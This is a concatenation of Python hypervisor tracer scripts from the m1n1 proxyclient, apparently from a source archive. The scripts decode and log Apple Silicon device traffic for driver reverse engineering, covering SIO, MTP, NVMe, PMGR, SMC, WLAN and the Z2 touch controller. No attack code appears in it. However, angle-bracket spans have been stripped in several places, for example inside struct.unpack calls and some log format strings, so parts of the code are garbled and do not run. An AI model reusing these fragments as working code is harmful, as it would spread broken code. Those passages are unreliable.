__init__(self, tracer, epid): super().__init__(tracer, epid) self.state.iova = None self.state.iova_cfg = None self.state.dumpfile = None @msg(2, DIR.TX, SIOStart) def Start(self, msg): self.log("Start SIO") @msg(3, DIR.TX, SIOSetup) def m_Setup(self, msg): iomon.poll() if msg.EP == 0 and msg.PARAM == 0x1: self.state.iova = msg.DATA << 12 elif msg.EP == 0 and msg.PARAM == 0x2: # size for PARAM == 0x1? if self.state.iova is not None and self.tracer.verbose > 1: iomon.add(self.state.iova, msg.DATA * 8, name=f"sio.shmem@{self.state.iova:08x}", offset=self.state.iova) elif msg.EP == 0 and msg.PARAM == 0xb: # second iova block, maybe config self.state.iova_cfg = msg.DATA << 12 elif msg.EP == 0 and msg.PARAM == 0xc: # size for PARAM == 0xb? if self.state.iova is not None and self.tracer.verbose > 1: iomon.add(self.state.iova_cfg, msg.DATA * 8, name=f"sio.shmem@{self.state.iova_cfg:08x}", offset=self.state.iova_cfg) @msg(0x65, DIR.RX, SIOAck) def m_Ack(self, msg): iomon.poll() @msg(6, DIR.TX, SIOSetupIO) def m_SetupIO(self, msg): iomon.poll() if self.state.iova is None: return if msg.EP == 0x1a: buf = struct.unpack("= 0x7200: with open("large_message.bin", "wb") as fd: fd.write(self.tracer.ioread(buf, size)) print("Fingerprint record message dumped.") return self.log_mesa("EP 0x19", self.tracer.ioread(buf, size)) return def log_mesa(self, label, data): self.log(f"{label}: {len(data):d} byte message: ") chexdump(data) print("\n") class SIOTracer(ASCTracer): ENDPOINTS = { 0x20: SIOEp } sio_tracer = SIOTracer(hv, "/arm-io/sio", verbose=1) sio_tracer.start(dart=dart_sio_tracer.dart) spi_tracer = SPITracer(hv, "/arm-io/spi2", verbose=2) spi_tracer.start() m1n1-1.4.11/proxyclient/hv/trace_mtp.py000066400000000000000000000107371453754430200177160ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from construct import * from m1n1.utils import * from m1n1.proxyutils import * from m1n1.constructutils import * from m1n1.trace.asc import ASCTracer, EP, EPState, msg, msg_log, DIR from m1n1.trace.dockchannel import DockChannelTracer from m1n1.trace.dart import DARTTracer from m1n1.fw.mtp import * class MTPTracer(ASCTracer): def handle_msg(self, direction, r0, r1): super().handle_msg(direction, r0, r1) mtp_tracer = MTPTracer(hv, "/arm-io/mtp", verbose=1) mtp_tracer.start() dart_tracer = DARTTracer(hv, "/arm-io/dart-mtp", verbose=1) dart_tracer.start() trace_device("/arm-io/dart-mtp", True) DockChannelTracer = DockChannelTracer._reloadcls() mon = RegMonitor(hv.u, ascii=True, bufsize=0x400000) class StreamState: def __init__(self): self.buf = bytes() class MTPStream: def __init__(self, tracer, name, state): self.tracer = tracer self.name = name self.state = state def put(self, d): buf = self.state.buf + d while buf: if len(buf) < 8: self.state.buf = buf return hlen, mtype, size, ctr, devid, pad = struct.unpack("", self.state.tx) self.rx_mem_stream = MTPStream(self, "<", self.state.rx_mem) self.init_mon() def tx(self, d): self.tx_stream.put(d) def rx(self, d): self.rx_stream.put(d) def init_mon(self): pass #if self.state.buf is not None: #addr, size = self.dart.iotranslate(1, self.state.buf, self.state.buf_size)[0] #size = align_up(size, 4) #mon.add(addr, size) def poll_ring(self): wptr = struct.unpack("": msg = TXMessage.parse(data) elif dir == "<": msg = RXMessage.parse(data) if devid == 0: if (msg.hdr.flags & 0xc0) == 0x00: msg.msg = NotificationMsg.parse(msg.msg) elif (msg.hdr.flags & 0xc0) == 0x80: msg.msg = DeviceControlAck.parse(msg.msg) else: assert False try: mtype = msg.msg.name except: mtype = None if mtype == "InitAFEMsg": afe = self.dart.ioread(1, msg.msg.buf_addr, msg.msg.buf_size) chexdump(afe, print_fn=self.log) open("afe.bin", "wb").write(afe) elif mtype == "InitBufMsg": self.state.buf = msg.msg.buf_addr self.state.buf_size = msg.msg.buf_size self.init_mon() self.log(f"{dir} Type {mcode:02x} Dev {devid} #{ctr} {msg!s}") hid_tracer = MTPChannelTracer(hv, "/arm-io/dockchannel-mtp", verbose=3) hid_tracer.start(dart_tracer.dart) m1n1-1.4.11/proxyclient/hv/trace_nvme.py000066400000000000000000000205431453754430200200570ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from construct import * from construct.core import Int16ul, Int32ul, Int64ul, Int8ul from m1n1.hv import TraceMode from m1n1.utils import * from m1n1.trace import ADTDevTracer from m1n1.trace.asc import ASCRegs from m1n1.trace.asc import ASCTracer ASCTracer = ASCTracer._reloadcls() class NVMERegs(RegMap): APPLE_NVMMU_NUM = 0x28100, Register32 APPLE_NVMMU_BASE_ASQ = 0x28108, Register32 APPLE_NVMMU_BASE_ASQ1 = 0x2810C, Register32 APPLE_NVMMU_BASE_IOSQ = 0x28110, Register32 APPLE_NVMMU_BASE_IOSQ1 = 0x28114, Register32 APPLE_NVMMU_TCB_INVAL = 0x28118, Register32 APPLE_NVMMU_TCB_STAT = 0x28120, Register32 APPLE_ANS2_LINEAR_SQ_CTRL = 0x24908, Register32 APPLE_ANS2_UNKNOWN_CTRL = 0x24008, Register32 APPLE_ANS2_BOOT_STATUS = 0x1300, Register32 APPLE_ANS2_MAX_PEND_CMDS_CTRL = 0x1210, Register32 APPLE_ANS2_LINEAR_ASQ_DB = 0x2490C, Register32 APPLE_ANS2_LINEAR_IOSQ_DB = 0x24910, Register32 NVME_REG_CAP = 0x0000, Register32 NVME_REG_VS = 0x0008, Register32 NVME_REG_INTMS = 0x000C, Register32 NVME_REG_INTMC = 0x0010, Register32 NVME_REG_CC = 0x0014, Register32 NVME_REG_CSTS = 0x001C, Register32 NVME_REG_NSSR = 0x0020, Register32 NVME_REG_AQA = 0x0024, Register32 NVME_REG_ASQ = 0x0028, Register32 NVME_REG_ASQ1 = 0x002C, Register32 NVME_REG_ACQ = 0x0030, Register32 NVME_REG_CMBLOC = 0x0038, Register32 NVME_REG_CMBSZ = 0x003C, Register32 NVME_REG_BPINFO = 0x0040, Register32 NVME_REG_BPRSEL = 0x0044, Register32 NVME_REG_BPMBL = 0x0048, Register32 NVME_REG_CMBMSC = 0x0050, Register32 NVME_REG_PMRCAP = 0x0E00, Register32 NVME_REG_PMRCTL = 0x0E04, Register32 NVME_REG_PMRSTS = 0x0E08, Register32 NVME_REG_PMREBS = 0x0E0C, Register32 NVME_REG_PMRSWTP = 0x0E10, Register32 NVME_REG_DBS = 0x1000, Register32 NVME_REG_DBS_ASQ = 0x1004, Register32 NVME_REG_DBS_IOSQ = 0x100C, Register32 AppleTunnelSetTime = Struct( "unk" / Int32ul, "unix_timestamp" / Int32ul, "time_0" / Int64ul, "time_1" / Int64ul, ) NVMECommand = Struct( "opcode" / Int8ul, "flags" / Int8ul, "command_id" / Int16ul, "nsid" / Int32ul, "cdw0" / Int32ul, "cdw1" / Int32ul, "metadata" / Int64ul, "prp1" / Int64ul, "prp2" / Int64ul, "cdw10" / Int32ul, "cdw11" / Int32ul, "cdw12" / Int32ul, "cdw13" / Int32ul, "cdw14" / Int32ul, "cdw16" / Int32ul, ) NVME_IO_COMMANDS = { 0x00: "nvme_cmd_flush", 0x01: "nvme_cmd_write", 0x02: "nvme_cmd_read", 0x04: "nvme_cmd_write_uncor", 0x05: "nvme_cmd_compare", 0x08: "nvme_cmd_write_zeroes", 0x09: "nvme_cmd_dsm", 0x0C: "nvme_cmd_verify", 0x0D: "nvme_cmd_resv_register", 0x0E: "nvme_cmd_resv_report", 0x11: "nvme_cmd_resv_acquire", 0x15: "nvme_cmd_resv_release", 0x79: "nvme_cmd_zone_mgmt_send", 0x7A: "nvme_cmd_zone_mgmt_recv", 0x7D: "nvme_cmd_zone_append", } NVME_ADMIN_COMMANDS = { 0x00: "nvme_admin_delete_sq", 0x01: "nvme_admin_create_sq", 0x02: "nvme_admin_get_log_page", 0x04: "nvme_admin_delete_cq", 0x05: "nvme_admin_create_cq", 0x06: "nvme_admin_identify", 0x08: "nvme_admin_abort_cmd", 0x09: "nvme_admin_set_features", 0x0A: "nvme_admin_get_features", 0x0C: "nvme_admin_async_event", 0x0D: "nvme_admin_ns_mgmt", 0x10: "nvme_admin_activate_fw", 0x11: "nvme_admin_download_fw", 0x14: "nvme_admin_dev_self_test", 0x15: "nvme_admin_ns_attach", 0x18: "nvme_admin_keep_alive", 0x19: "nvme_admin_directive_send", 0x1A: "nvme_admin_directive_recv", 0x1C: "nvme_admin_virtual_mgmt", 0x1D: "nvme_admin_nvme_mi_send", 0x1E: "nvme_admin_nvme_mi_recv", 0x7C: "nvme_admin_dbbuf", 0x80: "nvme_admin_format_nvm", 0x81: "nvme_admin_security_send", 0x82: "nvme_admin_security_recv", 0x84: "nvme_admin_sanitize_nvm", 0x86: "nvme_admin_get_lba_status", 0xC0: "nvme_admin_vendor_start", } APPLE_TUNNEL_CMDS = {0x06: "set_time", 0x38: "get_nand_id", 0xBA: "get_nand_geometry"} NVMMUTcb = Struct( "opcode" / Int8ul, "dma_flags" / Int8ul, "command_id" / Int8ul, "unk0" / Int8ul, "length" / Int32ul, "unk1a" / Int64ul, "unk1b" / Int64ul, "prp0" / Int64ul, "prp1" / Int64ul, "unk2a" / Int64ul, "unk2b" / Int64ul, # aes_iv, u8[8] # aes_data, u8[64] ) class NVMETracer(ASCTracer): DEFAULT_MODE = TraceMode.SYNC REGMAPS = [ASCRegs, None, None, NVMERegs] NAMES = ["asc", None, None, "nvme"] ENDPOINTS = {} def init_state(self): self.state.ep = {} self.state.cmd_cache = {} self.state.nvmmu_asq_base = None self.state.nvmmu_iosq_base = None self.state.asq = None def r_APPLE_NVMMU_TCB_STAT(self, r): pass def w_APPLE_NVMMU_BASE_ASQ(self, r): self.state.nvmmu_asq_base = r.value def w_APPLE_NVMMU_BASE_ASQ1(self, r): self.state.nvmmu_asq_base |= r.value << 32 def w_APPLE_NVMMU_BASE_IOSQ(self, r): self.state.nvmmu_iosq_base = r.value def w_APPLE_NVMMU_BASE_IOSQ1(self, r): self.state.nvmmu_iosq_base |= r.value << 32 def w_NVME_REG_ASQ(self, r): self.state.asq = r.value def w_NVME_REG_ASQ1(self, r): self.state.asq |= r.value << 32 def w_APPLE_ANS2_LINEAR_ASQ_DB(self, r): tag = r.value cmd = NVMECommand.parse(self.hv.iface.readmem(self.state.asq + 64 * tag, 0x40)) tcb = NVMMUTcb.parse( self.hv.iface.readmem(self.state.nvmmu_asq_base + 0x80 * tag, 0x80) ) self.state.cmd_cache[tag] = (True, cmd, tcb) if cmd.opcode == 0xD8: self.log("apple_tunnel_cmd:") self.parse_apple_tunnel_cmd(cmd, False) return cmdname = NVME_ADMIN_COMMANDS.get(cmd.opcode, "unknown") self.log(f"{cmdname}:") self.log(f" {repr(cmd)}") self.log(f" {repr(tcb)}") if cmd.opcode == 1: self.state.iosq = cmd.prp1 def w_APPLE_ANS2_LINEAR_IOSQ_DB(self, r): tag = r.value cmd = NVMECommand.parse(self.hv.iface.readmem(self.state.iosq + 64 * tag, 0x40)) tcb = NVMMUTcb.parse( self.hv.iface.readmem(self.state.nvmmu_iosq_base + 0x80 * tag, 0x80) ) cmdname = NVME_IO_COMMANDS.get(cmd.opcode, "unknown") self.log(f"{cmdname}:") self.log(f" {repr(cmd)}") self.log(f" {repr(tcb)}") self.state.cmd_cache[tag] = (False, cmd, tcb) def parse_apple_tunnel_cmd(self, cmd, done): ptr0 = (cmd.cdw12 << 32) | cmd.cdw11 ptr1 = (cmd.cdw14 << 32) | cmd.cdw13 data = self.hv.iface.readmem(ptr0, 0x4000) if ptr1 > 0: data1 = self.hv.iface.readmem(ptr1, 0x4000) apple_cmd_opcode = data[12] apple_cmd = APPLE_TUNNEL_CMDS.get(apple_cmd_opcode, "Unknown") if apple_cmd_opcode == 0x06: self.log( f" apple_tunnel_cmd: set_time: {repr(AppleTunnelSetTime.parse(data[0x18:0x30]))}" ) elif apple_cmd_opcode == 0x38: self.log(f" apple_tunnel_cmd: get_nand_id") if done: self.log(f" manufacturer id: {hexdump(data1[:8])}") else: self.log(f" apple_tunnel_cmd: {apple_cmd} ({apple_cmd_opcode})") chexdump(data, print_fn=self.log) if ptr1 > 0: chexdump(self.hv.iface.readmem(ptr1, 0x4000), print_fn=self.log) def w_APPLE_NVMMU_TCB_INVAL(self, r): self.log(f" NVMMU inval for {r.value}") tag = r.value if tag not in self.state.cmd_cache: self.log(" NVMMU tag not found in cmd_cache") return is_admin, cmd, tcb = self.state.cmd_cache[tag] del self.state.cmd_cache[tag] if is_admin: if cmd.opcode == 0xD8: self.log(f" done apple_tunnel_cmd") self.parse_apple_tunnel_cmd(cmd, True) else: cmdname = NVME_ADMIN_COMMANDS.get(cmd.opcode, "unknown") self.log(f" done {cmdname}") else: cmdname = NVME_IO_COMMANDS.get(cmd.opcode, "unknown") self.log(f" done {cmdname}") def start(self): self.state.cmd_cache = {} super().start() NVMETracer = NVMETracer._reloadcls() nvme_tracer = NVMETracer(hv, "/arm-io/ans", verbose=1) nvme_tracer.start() trace_device("/arm-io/sart-ans") m1n1-1.4.11/proxyclient/hv/trace_pmgr.py000066400000000000000000000125461453754430200200630ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1 import asm from m1n1.trace import Tracer from m1n1.utils import * from m1n1.proxy import * from m1n1.sysreg import * from m1n1.proxyutils import RegMonitor from m1n1.trace.dart import DARTTracer from m1n1.trace.asc import ASCTracer, EP, msg, msg_log, DIR from m1n1.fw.pmp import * #trace_device("/arm-io/pmgr", False) #trace_device("/arm-io/jpeg0") #trace_device("/arm-io/jpeg1") #for reg in (0, 1, 2, 3, 4, 23): #addr, size = hv.adt["/arm-io/pmgr"].get_reg(reg) #hv.trace_range(irange(addr, 0x20000)) #hv.trace_range(irange(0x210e00000, 0x80000), read=False) #hv.trace_range(irange(0x211e00000, 0x80000), read=False) #hv.trace_range(irange(0x23b040000, 0x1000)) #hv.trace_range(irange(0x23b044000, 0x14000)) Tracer = Tracer._reloadcls() ASCTracer = ASCTracer._reloadcls() iomon = RegMonitor(hv.u, ascii=True) def readmem_iova(addr, size): try: return dart_tracer.dart.ioread(0, addr, size) except Exception as e: print(e) return None iomon.readmem = readmem_iova class PMPEpTracer(EP): BASE_MESSAGE = PMPMessage def __init__(self, tracer, epid): super().__init__(tracer, epid) self.state.shmem_iova = None self.state.verbose = 1 def start(self): self.add_mon() def add_mon(self): if self.state.shmem_iova: iomon.add(self.state.shmem_iova, 0x10000, name=f"{self.name}.shmem@{self.state.shmem_iova:08x}", offset=0) @msg(1, DIR.TX, PMP_Configure) def Configure(self, msg): self.state.shmem_iova = msg.DVA self.add_mon() class PMPTracer(ASCTracer): ENDPOINTS = { 0x20: PMPEpTracer } def handle_msg(self, direction, r0, r1): super().handle_msg(direction, r0, r1) iomon.poll() def start(self, dart=None): super().start() # noisy doorbell self.trace(0x23bc34000, 4, TraceMode.OFF) #dart_tracer = DARTTracer(hv, "/arm-io/dart-pmp", verbose=2) #dart_tracer.start() #pmp_tracer = PMPTracer(hv, "/arm-io/pmp", verbose=1) #pmp_tracer.start(dart_tracer.dart) class PMGRTracer(Tracer): IGNORED = set(["SPI1", "I2C2"]) def __init__(self, hv): super().__init__(hv) self.dev = hv.adt["/arm-io/pmgr"] self.ignored_ranges = [ (0x23b738004, 4), # ecpu state report (0x23b738008, 4), # pcpu state report (0x23d2b9000, 0x30), (0x23d2dc100, 4), ] self.build_table(hv) self.reg_cache = {} def hook_w(self, addr, val, width, **kwargs): self.hv.log(f"PMGR: W {addr:#x} <- {val:#x}") #print("-> ignored") super().hook_w(addr, val, width, **kwargs) def hook_r(self, addr, width, **kwargs): val = super().hook_r(addr, width, **kwargs) self.hv.log(f"PMGR: R {addr:#x} = {val:#x}") return val def evt_rw(self, evt): if not evt.flags.WRITE: self.reg_cache[evt.addr] = evt.data cb = self.ranges.lookup(evt.addr) cb[0](evt, *cb[1:]) self.reg_cache[evt.addr] = evt.data def event_default(self, evt, start, name): t = "W" if evt.flags.WRITE else "R" m = "+" if evt.flags.MULTI else " " data = f"{evt.data:#x}" if evt.flags.WRITE: data = f"{evt.data:#x}" old = self.reg_cache.get(evt.addr, None) if old is not None: data = f"{old:#x} -> {evt.data:#x}" self.hv.log(f"[cpu{evt.flags.CPU}][0x{evt.pc:016x}] PMGR: {t}.{1<W: <{key}> = {data.hex()} ({msg.SIZE})") return True @msg(SMC_READ_KEY, DIR.TX, SMCReadKey) def ReadKey(self, msg): key = msg.KEY.to_bytes(4, byteorder="big").decode("ascii") self.state.rb[msg.ID] = msg.TYPE, key, msg.SIZE self.log(f"[{msg.ID:x}] >R: <{key}> = ... ({msg.SIZE})") return True @msg(SMC_RW_KEY, DIR.TX, SMCReadWriteKey) def ReadKeyPayload(self, msg): key = msg.KEY.to_bytes(4, byteorder="big").decode("ascii") self.state.rb[msg.ID] = msg.TYPE, key, msg.RSIZE data = self.hv.iface.readmem(self.state.sram_addr, msg.WSIZE) self.log(f"[{msg.ID:x}] >RP: <{key}> = {data.hex()} ({msg.WSIZE, msg.RSIZE})") return True @msg(SMC_GET_KEY_INFO, DIR.TX, SMCGetKeyInfo) def GetInfo(self, msg): key = msg.KEY.to_bytes(4, byteorder="big").decode("ascii") self.state.rb[msg.ID] = msg.TYPE, key, None self.log(f"[{msg.ID:x}] >KInfo: <{key}>") return True @msg(SMC_GET_KEY_BY_INDEX, DIR.TX, SMCGetKeyByIndex) def GetKeyByIndex(self, msg): self.state.rb[msg.ID] = msg.TYPE, msg.INDEX, None self.log(f"[{msg.ID:x}] >KIdx: <{msg.INDEX}>") return True @msg(None, DIR.RX, Register64) def RXMsg(self, msg): if self.state.sram_addr is None: self.log(f"SRAM address: {msg.value:#x}") self.state.sram_addr = msg.value return True msg = SMCResult(msg.value) if msg.RESULT != 0: self.log(f"[{msg.ID:x}] = {data}") return True elif msgtype == SMC_GET_KEY_INFO: data = self.hv.iface.readmem(self.state.sram_addr, 6) size, type, flags = struct.unpack("B4sB", data) self.log(f"[{msg.ID:x}] : size={size} type={type.decode('ascii')} flags={flags:#x}") return True elif msgtype == SMC_GET_KEY_BY_INDEX: kname = msg.VALUE.to_bytes(4, byteorder="little").decode("ascii") self.log(f"[{msg.ID:x}] ") return True self.log(f"[{msg.ID:x}] = 3 or (reg is None and self.wlan.verbose >= 1): if reg is None: s = pfx + f"{addr:#x} = {value:#x}" else: s = pfx + f"{regmap.get_name(addr)} = {value!s}" m = "+" if evt.flags.MULTI else " " self.wlan.log(f"WLAN: {t.upper()}.{1<>12:#x}") def config_dart(self): # Ugly... if self.dart_dev is None: for i in range (16): ttbr = self.dart.dart.regs.TTBR[i].reg if ttbr.VALID: self.log(f"DART device: {i}") self.dart_dev = i break else: raise Exception("Failed to find DART device") def ioread(self, addr, size): self.config_dart() return self.dart.ioread(self.dart_dev, addr, size) def iotranslate(self, addr, size): self.config_dart() return self.dart.iotranslate(self.dart_dev, addr, size) def r_SHARED_BASE(self, base): if base.value & 0xffff == (base.value >> 16) ^ 0xffff: return self.state.shared_base = base.value self.update_shared() def w_H2D_W_IDX_HOSTADDR(self, addr): self.state.h2d_w_idx_ha = addr.value def w_H2D_R_IDX_HOSTADDR(self, addr): self.state.h2d_r_idx_ha = addr.value def w_D2H_W_IDX_HOSTADDR(self, addr): self.state.d2h_w_idx_ha = addr.value def w_D2H_R_IDX_HOSTADDR(self, addr): self.state.d2h_r_idx_ha = addr.value def w_MAX_ITEM(self, val, index): info = self.state.ring_info_data.setdefault(index, RingInfo()) info.count = val.value self.update_ring(index) def w_LEN_ITEMS(self, val, index): info = self.state.ring_info_data.setdefault(index, RingInfo()) info.item_size = val.value self.update_ring(index) def w_BASE_ADDR(self, val, index): info = self.state.ring_info_data.setdefault(index, RingInfo()) info.base_addr = val.value self.update_ring(index) def w_cfg_BACKPLANE_DATA(self, val): win = self.cfg.cached.BAR0_WINDOW.val evt = Container() evt.flags = MMIOTraceFlags(WIDTH=2, WRITE=1) evt.addr = self.cfg.cached.BACKPLANE_ADDR.val evt.data = val.value self.bp.evt_rw(evt, win) def r_cfg_BACKPLANE_DATA(self, val): win = self.cfg.cached.BAR0_WINDOW.val evt = Container() evt.flags = MMIOTraceFlags(WIDTH=2, WRITE=0) evt.addr = self.cfg.cached.BACKPLANE_ADDR.val evt.data = val.value self.bp.evt_rw(evt, win) def update_ring(self, idx): if idx not in self.state.ring_info_data: return info = self.state.ring_info_data[idx] if not info.ready(): return if idx in self.rings: return if idx > len(self.RINGS): return ringcls = self.RINGS[idx] if ringcls is None: return self.rings[idx] = ringcls(self, info) def ioctlptr_req(self, pkt): data = self.ioread(pkt.payload.host_input_buf_addr, pkt.payload.input_buf_len) cmd = self.CMDS.get(pkt.payload.cmd, "unk") self.log(f"IOCTL request ({cmd}):") chexdump(data, print_fn = self.log) self.state.ioctls[pkt.payload.trans_id] = pkt def ioctlresp(self, pkt): req = self.state.ioctls.get(pkt.payload.trans_id, None) if req is None: self.log(f"ERROR: unknown transaction ID {pkt.payload.trans_id:#x}") return data = self.ioread(req.payload.host_input_buf_addr, req.payload.output_buf_len) cmd = self.CMDS.get(pkt.payload.cmd, "unk") self.log(f"IOCTL response ({cmd}):") chexdump(data, print_fn = self.log) del self.state.ioctls[pkt.payload.trans_id] def trace_bar(self, idx, start, size): if idx == 2: self.state.tcm_base = start self.state.tcm_size = size self.update_tcm_tracers() elif idx == 0: self.state.bar0_base = start self.state.bar0_size = size self.update_bar0_tracers() else: return super().trace_bar(idx, start, size) def update_tcm_tracers(self): if self.state.tcm_base is None: return if self.dart is None: self.dart = DART.from_adt(self.u, self.dart_path) self.trace_regmap(self.state.tcm_base + self.bp.SRAM_BASE + self.bp.SRAM_SIZE - 8, 8, WLANSRAMEnd, name="sram") def update_bar0_tracers(self): if self.state.bar0_base is None: return zone = irange(self.state.bar0_base, self.state.bar0_size) self.hv.add_tracer(zone, self.ident, self.DEFAULT_MODE, self.bar0_rw, self.bar0_rw) def update_shared(self): base = self.state.shared_base if base is None: return if self.state.ring_info_base is None: self.shared = WLANSRAMShared(self.hv.u, self.state.tcm_base + base) self.log("Reading shared info") self.shared.dump_regs() self.state.ring_info_base = self.shared.RING_INFO_ADDR.val if self.state.ring_mem_base is None: self.ring_info = WLANSRAMRingInfo(self.hv.u, self.state.tcm_base + self.state.ring_info_base) self.log("Reading ring info") self.ring_info.dump_regs() self.state.ring_mem_base = self.ring_info.RINGMEM.val self.trace_regmap(self.state.tcm_base + base, 0x100, WLANSRAMShared, name="shared") self.trace_regmap(self.state.tcm_base + self.state.ring_info_base, 0x40, WLANSRAMRingInfo, name="ringinfo") self.ring_mem = WLANSRAMRingMem(self.hv.u, self.state.tcm_base + self.state.ring_mem_base) self.log("Reading ring mem") self.ring_mem.dump_regs() self.trace_regmap(self.state.tcm_base + self.state.ring_mem_base, COMMON_RING_CNT * 0x10, WLANSRAMRingMem, name="ringmem") def start(self): super().start() self.update_tcm_tracers() self.update_shared() for i in range(len(self.RINGS)): self.update_ring(i) devno = 2 if hv.xnu_mode else 1 wlan_tracer = WLANTracer(hv, "/arm-io/apcie", devno, 0, 0, "/arm-io/dart-apcie0") wlan_tracer.start() m1n1-1.4.11/proxyclient/hv/trace_z2.py000066400000000000000000000174201453754430200174450ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from construct import * from m1n1.hv import TraceMode from m1n1.proxyutils import RegMonitor from m1n1.utils import * from m1n1.trace import ADTDevTracer from m1n1.trace.asc import ASCTracer, ASCRegs, EP, EPState, msg, msg_log, DIR from m1n1.trace.dart import DARTTracer from m1n1.trace.gpio import GPIOTracer from m1n1.trace.spi import SPITracer DARTTracer = DARTTracer._reloadcls() ASCTracer = ASCTracer._reloadcls() SPITracer = SPITracer._reloadcls() # SPI HID transport tracer for 2021 macbook models kbd_node = None for node in hv.adt.walk_tree(): try: if node.compatible[0] == "spi-1,spimc": for c in node: try: if c.compatible[0] == "hid-transport,k1": kbd_node = c break except AttributeError: continue except AttributeError: continue if kbd_node is not None: break class Z2Tracer(SPITracer): def start(self): super().start() self.txbuffer = [] self.rxbuffer = [] self.want_bytes = 0 self.state = Z2Tracer.preboot def w_TXDATA(self, data): self.txbuffer.append(data.value) self.check_msg_finished() def r_RXDATA(self, data): self.rxbuffer.append(data.value) self.check_msg_finished() def check_msg_finished(self): if min(len(self.txbuffer), len(self.rxbuffer)) < self.want_bytes: return self.state(self) def bad_state(self): pass def error(self): self.log(f"RXBUF {' '.join(hex(x) for x in self.rxbuffer)}") self.log(f"TXBUF {' '.join(hex(x) for x in self.txbuffer)}") self.log(f"state: {self.state}") self.log("Tracer desynchronized, shutting down") self.state = Z2Tracer.bad_state def consume_bytes(self, n): self.txbuffer = self.txbuffer[n:] self.rxbuffer = self.rxbuffer[n:] def preboot(self): if self.txbuffer[0] == 0: self.want_bytes = 4 self.state = Z2Tracer.init_zeros elif self.txbuffer[0] == 0x1e: self.want_bytes = 16 self.state = Z2Tracer.processing_init_data else: self.error() def init_zeros(self): self.log("sent 4 zeroes") self.consume_bytes(4) self.state = Z2Tracer.preboot def processing_init_data(self): self.log("Sent init data") self.want_bytes = 2 self.consume_bytes(16) self.state = Z2Tracer.main_hbpp def main_hbpp(self): if self.txbuffer[0] == 0x1a and self.txbuffer[1] == 0xa1: self.log("Sent int ack") self.consume_bytes(2) elif self.txbuffer[0] == 0x18 and self.txbuffer[1] == 0xe1: self.log("Sent nop") self.consume_bytes(2) elif self.txbuffer[0] == 0x1f and self.txbuffer[1] == 0x01: self.log("Sent request cal") self.consume_bytes(2) elif self.txbuffer[0] == 0x30 and self.txbuffer[1] == 0x01: self.state = Z2Tracer.send_blob_cmd self.want_bytes = 10 elif self.txbuffer[0] == 0x1e and self.txbuffer[1] == 0x33: self.state = Z2Tracer.send_rmw_cmd self.want_bytes = 16 elif self.txbuffer[0] == 0xee and self.txbuffer[1] == 0x00: self.state = Z2Tracer.main_z2 self.want_bytes = 16 else: self.error() def send_blob_cmd(self): length = (self.txbuffer[2] << 8 | self.txbuffer[3]) * 4 self.consume_bytes(10) self.want_bytes = length + 4 self.log(f"Sending blob of length {length}") self.state = Z2Tracer.send_blob_tail def send_blob_tail(self): self.log("Finished sendind blob") self.consume_bytes(self.want_bytes) self.want_bytes = 2 self.state = Z2Tracer.main_hbpp def send_rmw_cmd(self): self.log('Sent RMW command') self.want_bytes = 2 self.consume_bytes(16) self.state = Z2Tracer.main_hbpp def main_z2(self): if self.txbuffer[0] == 0xee: self.log("sent wake cmd") self.consume_bytes(16) elif self.txbuffer[0] == 0xe2: self.log("sent get device info cmd") self.consume_bytes(16) self.state = Z2Tracer.read_device_info_reply elif self.txbuffer[0] == 0xeb: length = (self.rxbuffer[1] | (self.rxbuffer[2] << 8)) + 5 length = (length + 3) & (-4) self.consume_bytes(16) self.want_bytes = length self.state = Z2Tracer.read_interrupt_data elif self.txbuffer[0] == 0xe3: self.log(f"got report info for {self.txbuffer[1]}, len is {self.rxbuffer[3]}") self.consume_bytes(16) elif self.txbuffer[0] == 0xe7: self.want_bytes = self.txbuffer[3] + 5 self.consume_bytes(16) self.state = Z2Tracer.reading_report_long elif self.txbuffer[0] == 0xe6: self.consume_bytes(16) self.state = Z2Tracer.read_report_reply else: self.error() def reading_report_long(self): self.log(f"got report {' '.join(hex(x) for x in self.rxbuffer)}") self.consume_bytes(self.want_bytes) self.want_bytes = 16 self.state = Z2Tracer.main_z2 def read_interrupt_data(self): data = self.rxbuffer[5:] tstamp2 = data[4] | (data[5] << 8) | (data[6] << 16) tx = [f"TS1 {hex(data[1])} TS2 {tstamp2} UNK1: {mxformat(data[7:16])} UNK2: {mxformat(data[17:24])}"] if len(data) >= 16: ntouch = data[16] for i in range(ntouch): ptr = 24 + 30 * i finger = data[ptr] state = data[ptr + 1] x = data[ptr + 4] | (data[ptr + 5] << 8) y = data[ptr + 6] | (data[ptr + 7] << 8) wj = data[ptr + 12] | (data[ptr + 13] << 8) wn = data[ptr + 14] | (data[ptr + 15] << 8) dg = data[ptr + 16] | (data[ptr + 17] << 8) prs = data[ptr + 18] | (data[ptr + 19] << 8) tx.append(f"F: {hex(finger)} S: {hex(state)} X: {x} Y: {y} MAJ: {wj} MIN: {wn} ANG: {dg} PRS: {prs} UNK1: {mxformat(data[ptr + 2:ptr+4])} UNK2: {mxformat(data[ptr + 8:ptr+12])} UNK3: {mxformat(data[ptr + 20:ptr+30])}") self.log(';'.join(tx)) else: self.log(f"??? {mxformat(data)}") self.consume_bytes(self.want_bytes) self.want_bytes = 16 self.state = Z2Tracer.main_z2 def read_device_info_reply(self): self.log(f"got device info {' '.join(hex(x) for x in self.rxbuffer[:16])}") self.consume_bytes(16) self.state = Z2Tracer.main_z2 def read_report_reply(self): self.log(f"got report {' '.join(hex(x) for x in self.rxbuffer[:16])}") self.consume_bytes(16) self.state = Z2Tracer.main_z2 def mxformat(ls): return ''.join(xformat(x) for x in ls) def xformat(x): x = hex(x)[2:] if len(x) == 1: x = '0' + x return x # trace interrupts aic_phandle = getattr(hv.adt["/arm-io/aic"], "AAPL,phandle") spi_node = kbd_node._parent #if getattr(spi_node, "interrupt-parent") == aic_phandle: # for irq in getattr(spi_node, "interrupts"): # hv.trace_irq(node.name, irq, 1, hv.IRQTRACE_IRQ) #for irq in hv.adt['/arm-io/gpio'].interrupts: # hv.trace_irq('/arm-io/gpio', irq, 1, hv.IRQTRACE_IRQ) spi_tracer = Z2Tracer(hv, "/arm-io/" + spi_node.name) spi_tracer.start() spi_pins_nub = { 0x0: "clock32khz", } #gpio_tracer_nub = GPIOTracer(hv, "/arm-io/nub-gpio", spi_pins_nub, verbose=0) #gpio_tracer_nub.start() spi_pins = { 0x6d: "enable_cs", 0x8b: "reset" } #gpio_tracer = GPIOTracer(hv, "/arm-io/gpio", spi_pins, verbose=0) #gpio_tracer.start() 